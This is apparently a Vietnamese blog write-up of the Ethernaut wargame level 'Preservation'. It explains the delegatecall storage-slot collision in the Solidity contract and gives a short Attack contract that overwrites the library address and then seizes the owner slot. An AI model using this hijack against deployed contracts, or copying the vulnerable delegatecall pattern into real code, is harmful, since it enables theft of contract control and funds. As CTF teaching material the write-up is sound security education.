Skip to content

The Ethernaut writeups: 16 - Preservation

Posted on:July 8, 2018

Update 2022 Feb: Bài viết đã được update để phù hợp với ethernaut & solidity version mới.

16. Preservation

Nhiệm vụ: chiếm quyền owner

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress;
    timeZone2Library = _timeZone2LibraryAddress;
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp
  uint storedTime;

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

Solution

Có 2 điều ta cần nắm được về delegatecall:

Điều thứ nhất: delegatecall chỉ là mượn hàm từ một contract khác và gọi hàm đó trong contract của mình.

Để diễn giải điều này, ta xét một ví dụ có thể coi là kinh điển về delegatecall, search google phát thấy ngay

contract D {
  uint public n;
  address public sender;

  function delegatecallSetN(address _e, uint _n) {
    _e.delegatecall(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified
  }
}

contract E {
  uint public n;
  address public sender;
  function setN(uint _n) {
    n = _n;
    sender = msg.sender;
  }
}

Trong contract E ta có một hàm là hàm setN sẽ thay đổi giá trị của nsender. Trong contract D ta gọi hàm _e.delegatecall(bytes4(sha3("setN(uint256)")), _n);, điều này tương đương với việc ta chuyển hàm setN vào bên trong contract D như sau:

contract D {
  uint public n;
  address public sender;

  function delegatecallSetN(uint _n) {
    setN(_n);
  }

  function setN(uint _n) {
    n = _n;
    sender = msg.sender;
  }
}

Điều thứ hai: khi gọi delegatecall, các biến của hàm trong contract E sẽ là biến với slot tương ứng của contract D, không cần quan tâm đến tên biến và kiểu dữ liệu.

Ví dụ như bên trên, giả sử ta đổi tên biến và kiểu dữ liệu trong contract D như sau:

contract D {
  address public addr;
  bytes20 public mess;

  function delegatecallSetN(address _e, uint _n) {
    _e.delegatecall(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified
  }
}

contract E {
  uint public n;
  address public sender;
  function setN(uint _n) {
    n = _n;
    sender = msg.sender;
  }
}

khi này trong D, nếu ta gọi _e.delegatecall(bytes4(sha3("setN(uint256)")), _n); thì addr sẽ được gán cho giá trị của _n, tất nhiên có ép kiểu từ uint sang address, còn mess sẽ được gán cho giá trị của msg.sender, ép kiểu từ address qua bytes20.

Các bạn hãy tự test thử trên RemixIDE để hiểu rõ hơn.

Ok vậy là ta đã hiểu về delegatecall, trong bài này ta sẽ áp dụng thế nào ?

Cùng nhìn qua contract LibraryContract

contract LibraryContract {

  // stores a timestamp
  uint storedTime;

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

Contract này có một slot duy nhất chứa storedTime, do đó nó sẽ tương ứng với slot của timeZone1Library trong contract Preservation nếu ta gọi setTime bằng delegatecall. Điều này có ý nghĩa thế nào?

function setFirstTime(uint _timeStamp) public {
  timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}

nó có nghĩa là nếu ta gọi setFirstTime thì timeZone1Library sẽ được gán bởi _timeStamp một lần duy nhất, vì sau đó địa chỉ timeZone1Library sẽ trở thành địa chỉ _timeStamp rồi.

function setSecondTime(uint _timeStamp) public {
  timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}

nó có nghĩa là nếu ta gọi setSecondTime thì timeZone1Library sẽ được gán lại bởi giá trị _timeStamp bất cứ khi nào gọi hàm

Từ ý nghĩa này, ta có kịch bản tấn công như sau:

contract Attack {
  address public slot1;
  address public slot2;
  address public owner;

  function setTime(uint _time) public {
    owner = tx.origin;
  }
}

Note: Trong các giao dịch, nhớ cho gasLimit cao một chút để tránh bị hết gas

png

png

png

png

png

completed

Bình luận

delegatecallstorage chưa bao giờ là dễ cả!

Enjoy coding!